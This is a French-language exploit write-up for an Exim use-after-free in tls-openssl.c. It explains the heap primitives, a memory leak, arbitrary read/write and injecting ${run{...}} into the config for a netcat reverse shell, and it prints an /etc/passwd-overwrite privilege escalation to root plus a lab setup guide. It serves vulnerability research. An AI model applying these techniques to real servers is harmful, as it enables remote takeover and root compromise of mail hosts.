
Exploit use-after-free d'Exim et détection
Il existe une vulnérabilité de use-after-free (UAF) dans tls-openssl.c qui permet à des attaquants distants non authentifiés de corrompre des données mémoire internes, aboutissant ainsi à une exécution de code à distance.
Primitives :
En enchaînant toutes ces primitives, il est possible de contourner entièrement toutes les mitigations d'exploitation disponibles et d'aboutir finalement à une exécution de code à distance en tant qu'utilisateur exim.
Cette vulnérabilité a été publiée dans une vaste liste de vulnérabilités ; le rapport officiel de Qualys chaîne le Use-After-Free avec CVE-2020-28008 pour effectuer une élévation de privilèges locale (LPE) une fois la RCE obtenue.
Exim doit être configuré / compilé de la manière suivante :
X_PIPE_CONNECT est désactivéVous pouvez utiliser le script checker.py pour vérifier si un serveur distant exécute une version vulnérable et possède certains prérequis nécessaires pour être exploitable.
[!] checker.py ne déclenche PAS la vulnérabilité, il vérifie simplement la version vulnérable, et teste si PIPELINING et TLS sont activés. Cela signifie que ce vérificateur ne vérifie pas le correctif, et peut donc générer des faux positifs.
Comme nous le savons déjà, la vulnérabilité se situe dans tls-openssl.c.
/*************************************************
* Write bytes down TLS channel *
*************************************************/
/*
Arguments:
ct_ctx client context pointer, or NULL for the one global server context
buff buffer of data
len number of bytes
more further data expected soon
Returns: the number of bytes after a successful write,
-1 after a failed write
Used by both server-side and client-side TLS.
*/
int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;
DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
buff, (unsigned long)len, more ? ", more" : "");
/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified. This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset). Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */
if (!ct_ctx && (more || corked))
{
#ifdef EXPERIMENTAL_PIPE_CONNECT
int save_pool = store_pool;
store_pool = POOL_PERM;
#endif
corked = string_catn(corked, buff, len);
#ifdef EXPERIMENTAL_PIPE_CONNECT
store_pool = save_pool;
#endif
if (more)
return len;
buff = CUS corked->s;
len = corked->ptr;
corked = NULL;
}
for (left = len; left > 0;)
{
DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
outbytes = SSL_write(ssl, CS buff, left);
error = SSL_get_error(ssl, outbytes);
DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
switch (error)
{
case SSL_ERROR_SSL:
ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
return -1;
case SSL_ERROR_NONE:
left -= outbytes;
buff += outbytes;
break;
case SSL_ERROR_ZERO_RETURN:
log_write(0, LOG_MAIN, "SSL channel closed on write");
return -1;
case SSL_ERROR_SYSCALL:
log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
sender_fullhost ? sender_fullhost : US"<unknown>",
strerror(errno));
return -1;
default:
log_write(0, LOG_MAIN, "SSL_write error %d", error);
return -1;
}
}
return len;
}
smtp_setup_msg() est la fonction principale qui lit le message provenant du client.
Dans certaines situations, smtp_reset() est appelée, ce qui nettoie tous les tampons et valeurs.
Cela peut se produire dans des situations comme :
HELO/EHLOSTARTTLSRSETsmtp_setup_msg()À la fin de smtp_reset(), un appel à store_reset() est effectué.
store_reset est une macro qui encapsule la fonction store_reset_3().
Les fonctions store sont simplement des fonctions qui gèrent la mémoire dynamique.
Exim utilise un allocateur par pool sur des blocs obtenus via malloc.
Il existe également une fonctionnalité intéressante : une implémentation de chaîne extensible (growable string).
Structure gstring :
typedef struct gstring {
int size; /* Current capacity of string memory */
int ptr; /* Offset at which to append further chars */
uschar * s; /* The string memory */
} gstring;
Lorsqu'il a besoin de plus d'espace pour concaténer une nouvelle chaîne, il appelle gstring_grow().
Cette fonction essaie d'abord d'appeler store_extend_3(), qui tente d'étendre la mémoire dans le même bloc du pool.
Cela peut être utile lorsque la longueur de l'entrée n'est pas connue, mais si de la mémoire supplémentaire a été allouée après, nous ne pourrons pas l'étendre.
Ensuite, gstring_grow() appelle store_newblock_3(), qui retourne simplement une nouvelle zone mémoire et copie les octets déjà présents dans l'ancienne vers la nouvelle.
Ensuite, le pointeur g->s est restauré à partir de gstring_catn().
Dans la fonction tls_write(), on peut voir un BOOL appelé more.
Il indique s'il y a d'autres données à copier dans le tampon de chaîne avant de renvoyer les données à l'utilisateur.
Si c'est le cas, le pointeur n'est pas mis à NULL.
Sinon, les données contenues dans le tampon de chaîne sont renvoyées à l'utilisateur.
Cette fonctionnalité ouvre des pistes intéressantes pour déclencher un Use-After-Free.
Premièrement, le pointeur vers la structure gstring est stocké dans une variable statique ; cela signifie que lors de futurs appels à tls_write(), nous pourrons l'utiliser.
Comment pouvons-nous libérer le tampon puis être en mesure de l'utiliser ?
Nous devons faire en sorte que smtp_setup_msg() appelle smtp_reset() alors que l'un de nos tampons se trouve encore dans server_corked (non mis à NULL).
Après le reset, si nous appelons tls_write() d'une manière ou d'une autre, le pointeur sera toujours là, ce qui nous permet de l'utiliser après que la mémoire a été libérée.
smtp_reset() libère toute la mémoire de POOL_MAIN, dans laquelle notre tampon est contenu.
Pour contrôler le Use-After-Free, nous devons d'abord initialiser une nouvelle connexion.
Comme nous voulons exploiter tls_write(), nous devons d'abord démarrer une nouvelle session TLS.
Nous envoyons donc d'abord une commande EHLO, suivie d'un STARTTLS pour démarrer la connexion TLS.
Ensuite, pour que more soit à 1, nous pipelinons une commande, et la dernière sera la moitié d'un NOOP.
Nous fermons la connexion TLS et envoyons le reste de la commande NOOP.
Nous envoyons maintenant à nouveau EHLO, ce qui déclenchera l'appel de smtp_reset et libérera notre tampon.
Nous devons maintenant démarrer une autre connexion TLS pour pouvoir utiliser à nouveau tls_write().
Nous envoyons STARTTLS.
Désormais, l'envoi de n'importe quelle commande au serveur aboutira à l'appel de tls_write() pour renvoyer une réponse.
Mais... server_corked contient toujours un pointeur vers une zone de la mémoire libérée.
Et ces données peuvent être utilisées par d'autres fonctions une fois libérées... notre structure gstring sera donc corrompue avec des données binaires aléatoires.
Voici le résultat du déclenchement de l'UAF :
gef➤ p *corked
$1 = {
size = 0x54595c9c,
ptr = 0xa7e800ba,
s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤ p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤
Cette structure est dans cet état juste à l'entrée de tls_write() pour notre commande suivant le STARTTLS.
Évidemment, dès qu'une tentative d'accès à corked->s est effectuée, cela entraîne une interruption SIGSEGV.
Comme mentionné par Qualys, ils utilisent trois étapes pour exploiter la vulnérabilité :
header_line dans notre tampon ; ainsi, lorsque tls_write() est appelée, ces pointeurs sont renvoyés à l'utilisateur. De cette façon, nous disposons d'une fuite de mémoire pour poursuivre notre exploitation.${run{<command>}}, où <command> est n'importe quelle commande que l'attaquant souhaite exécuter, comme un reverse shell via netcat. Cette configuration sera interprétée par string_expand() et finira par exécuter la commande.Parfait, nous avons réussi à déclencher le Use-After-Free.
Nous devons maintenant prendre un bon contrôle sur l'UAF afin de pouvoir élaborer nos primitives avec succès et de manière fiable.
Malheureusement, après la libération des tampons de POOL_MAIN, notre bloc sera directement passé à free().
Cela signifie que la mémoire ne sera pas seulement allouée via store_get_3() ou store_newblock_3(), mais aussi par toute fonction utilisant malloc()... comme CRYPTO_zalloc() et bien d'autres.
Dans ce cas, quelque part dans tls_server_start(), de la mémoire est demandée via malloc().
Elle y copie ensuite des données binaires, corrompant notre structure gstring.
Nous avons besoin d'un moyen d'empêcher cela, afin de pouvoir atteindre tls_write() avec une structure gstring saine pointant vers une adresse mémoire valide, sinon une interruption SIGSEGV sera déclenchée.
Après avoir compris comment fonctionne l'allocateur par pool d'Exim, en déboguant et en essayant quelques commandes pour observer leur comportement côté tas, nous pouvons finalement éviter que ces données soient écrites dans notre structure gstring.
Une fois que nous avons déclenché avec succès un Use-After-Free et que notre structure n'est pas corrompue, nous devons essayer de manipuler le tas pour qu'une fonction écrive une adresse du tas au milieu de notre chaîne (à n'importe quelle position avant g->ptr).
Nous avons de la chance car les réponses, bien qu'étant en texte brut (et non un protocole binaire), nous permettent d'envoyer des octets NULL au client.
Pourquoi cela se produit-il ?
Les réponses sont renvoyées avec SSL_write(), aucun problème avec les octets NULL.
Et les chaînes ? string_catn() ne coupe pas les octets NULL, car elle utilise memcpy pour copier les données.
La seule façon de définir une limite est via g->ptr, mais... comme l'adresse est écrite avant l'index g->ptr, toutes les données jusqu'à cette limite nous sont renvoyées, ce qui permet de fuiter de précieuses adresses du tas.
Résultat de la fuite de mémoire avec le PoC :

Nous avons maintenant découvert la base du tas....
Et... les adresses ne changent pas entre chaque connexion... nous pouvons donc maintenant commencer notre chemin vers la RCE.
Mais... comment écraser la structure gstring ?
Cela s'est avéré assez simple en utilisant la technique de Qualys.
ESMTP a ajouté des éléments au protocole SMTP, comme des paramètres pour les commandes MAIL FROM.
Utiliser un grand paramètre après le dernier STARTTLS suffit pour écraser la structure :)
Résultat :
gef➤ p *corked
$1 = {
size = 0x42424242,
ptr = 0x42424242,
s = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>
}
Contrôle total de la structure gstring.
Il est maintenant temps d'élaborer notre primitive de lecture arbitraire.
Apparemment, cela semble facile... écraser g->size et g->ptr avec une grande valeur.
Puis écraser g->s avec l'adresse mémoire à partir de laquelle nous voulons lire.
Une fois la commande terminée, tls_write() sera appelée pour renvoyer des données à l'utilisateur.
Comme le pointeur du tampon de chaîne est corrompu et pointe vers un emplacement arbitraire choisi par l'attaquant, les données de cet emplacement seront renvoyées.
Nous pouvons maintenant implémenter une fonction qui parcourt les chunks en les lisant et en cherchant des mots-clés qui nous indiqueraient si le chunk contient la configuration d'Exim ; si c'est le cas, nous passerons à la dernière étape.
La fonction que j'ai implémentée parcourt le tas depuis sa base par segments de taille READ_SZ.
[+] Leaked heap address = 0x55c846683d90
[+] Leaked heap_base = 0x55c8465f4000
[*] Searching for Exim configuration in memory...
[+] Config found at: 0x55c8465f6328
Une fois quelque chose trouvé, nous passons à la dernière étape.
Génial ! Nous connaissons l'adresse de base du tas. Et plus intéressant encore... nous savons où se trouve la configuration d'Exim !
Il est maintenant temps d'obtenir la RCE :P
Nous devons maintenant (d'une manière ou d'une autre) écraser la configuration d'Exim et injecter ${run{<command>}}. Ainsi, lorsque string_expand() est exécutée, notre commande est interprétée et nous obtenons finalement une exécution arbitraire de commandes.
Le moyen le plus simple d'obtenir une RCE est d'utiliser netcat ; utiliser simplement nc dans la commande nous donnerait un shell.
Mais... comment élaborer une telle primitive write-what-where ?
Nous devons d'abord écraser la structure gstring (comme nous l'avons fait avec la primitive de lecture arbitraire).
Une fois que nous en avons le contrôle, nous pouvons d'abord pointer g->s vers l'endroit où nous voulons écrire, en l'occurrence l'adresse de la configuration d'Exim.
Ensuite, lors de la prochaine réponse à écrire dans le tampon, la réponse sera écrite à l'endroit pointé par g->s :)
Mais... comment corrompre la structure gstring et obtenir une réponse arbitraire en même temps ?
Qualys n'a pas laissé cela très clair dans son avis de sécurité.
Nous devons faire en sorte qu'une commande "MAIL FROM" renvoie des données arbitraires.
Après quelques essais, j'ai pensé que la meilleure solution était d'utiliser un message d'erreur.
Nous pouvons choisir ADDR - strlen("501 ").
Ainsi, ces quatre octets ne corrompent pas notre cible.
Comment faire échouer MAIL FROM ? J'utilise un expéditeur invalide : comme l'expéditeur doit comporter un domaine, si aucun domaine n'est spécifié, le message d'erreur contiendra des données envoyées par le client.
Mais il y a un problème : comme nous envoyons des NULL, c'est ce message qui est renvoyé à la place : "501 NUL characters are not allowed in SMTP commands".
Il n'y a donc toujours aucun moyen de contrôler sa sortie, car nous avons besoin de NULL dans la requête.
Nous ne pouvons pas envoyer une autre commande "MAIL FROM" pour corrompre les réponses, pour la simple raison qu'une fois l'UAF déclenchée, more=0 et il n'y a plus d'accès au tampon libéré.
Mais depuis handle_smtp_call(), si nous envoyons DATA, receive_msg() est appelée. Nous pouvons la tromper pour qu'elle ne restaure pas le pool courant, afin de pouvoir façonner un peu le tas et écraser le tampon libéré.
Une fois que nous l'avons écrasé, nous envoyons un MAIL FROM avec des données invalides pipeliné avec un valide. La réponse sera écrite dans le pointeur s.
Une fois le write-what-where obtenu, j'ai eu des problèmes avec netcat directement, car certaines exigences sur le nombre d'arguments étaient nécessaires. J'ai donc fait : /bin/sh -c '<nc command here>'.
J'ai écrasé l'ACL MAIL FROM afin que le pipelining d'un second MAIL FROM aboutisse à l'appel de expand_cstring(), et finalement à l'exécution de ma commande arbitraire.
Voici une capture d'écran une fois que j'obtiens un shell avec l'exploit :

$ /bin/bash
$ cd /var/spool/exim4/db
$ rm -f retry*
$ ln -s -f /etc/passwd retry.passwd
$ /usr/sbin/exim4 -odf -oep postmaster < /dev/null
$ # creds => pwner:pwner
$ echo 'pwner:$6$4KB5snZ5jevx6TFa$VNdvb49sUfHhAQeKCkbpGVDnHUbnNfbpFh.QVjwIqvGlYsyKp8yoYrAfNDcG0XdtoQ2vT9LQPLml6XmCaVCOX/:18757:0:99999:7:::' >> /etc/passwd
$ su -l pwner
* Enter pass: pwner *
# id
uid=0(root) gid=0(root) groups=0(root)
#
Les tests ont été effectués sur une Debian :
root@research:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
Avec la version d'exim :
root@research:~# exim --version
Exim version 4.92 #7 built 06-May-2021 19:31:44
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013)
Support for: crypteq iconv() OpenSSL DANE DKIM DNSSEC Event OCSP PRDR TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated
Ma version d'Exim est compilée maison, mais en répliquant les drapeaux de compilation utilisés dans la version standard de Debian.
La configuration est identique à celle par défaut de Debian, avec peut-être quelques changements mineurs.
Dans ce dépôt, il y a un répertoire appelé exim-4.92. Il s'agit du code source d'exim.
Installez d'abord exim avec le gestionnaire de paquets apt.
Téléchargez le répertoire exim et le répertoire config sur la machine.
Copiez d'abord config/Makefile dans exim-4.92/Local.
Puis copiez config/eximon.conf dans exim-4.92/Local.
Nous exécutons maintenant make ; un répertoire build-linux-* sera créé. Nous nous y déplacerons et remplacerons toutes les occurrences de "-O2" par "-O0".
Nous ferons de même dans le répertoire OS/. Enfin, dans build-linux-*, nous ajoutons -g à la variable CFLAGS.
Il est recommandé d'ajouter la libc et le source d'exim à gdb.
Maintenant, make et make install.
cp /usr/exim/bin/* /usr/sbin/
cp /usr/sbin/exim /usr/sbin/exim4
J'ai utilisé ce script pour générer les certificats : https://github.com/volumio/RootFS/blob/master/usr/share/doc/exim4-base/examples/exim-gencert
Activez enfin TLS dans la configuration d'exim4 située dans /etc/exim4 et utilisez les fichiers /etc/exim4/exim.crt et /etc/exim4/exim.key générés par le script bash.
Enfin : sudo update-exim4.conf && systemctl restart exim4
Vérifiez systemctl status exim4 pour vous assurer que tout est en ordre.
Si vous obtenez un message d'erreur « TLS not currently available » après avoir tenté STARTTLS, consultez les journaux d'exim4.
J'ai rencontré un problème car la clé que j'utilisais pour les certificats était trop courte. Modifiez donc la taille de la clé dans le script gencert mentionné précédemment (j'utilise 4096).
Pour plus d'informations, consultez l'avis officiel de Qualys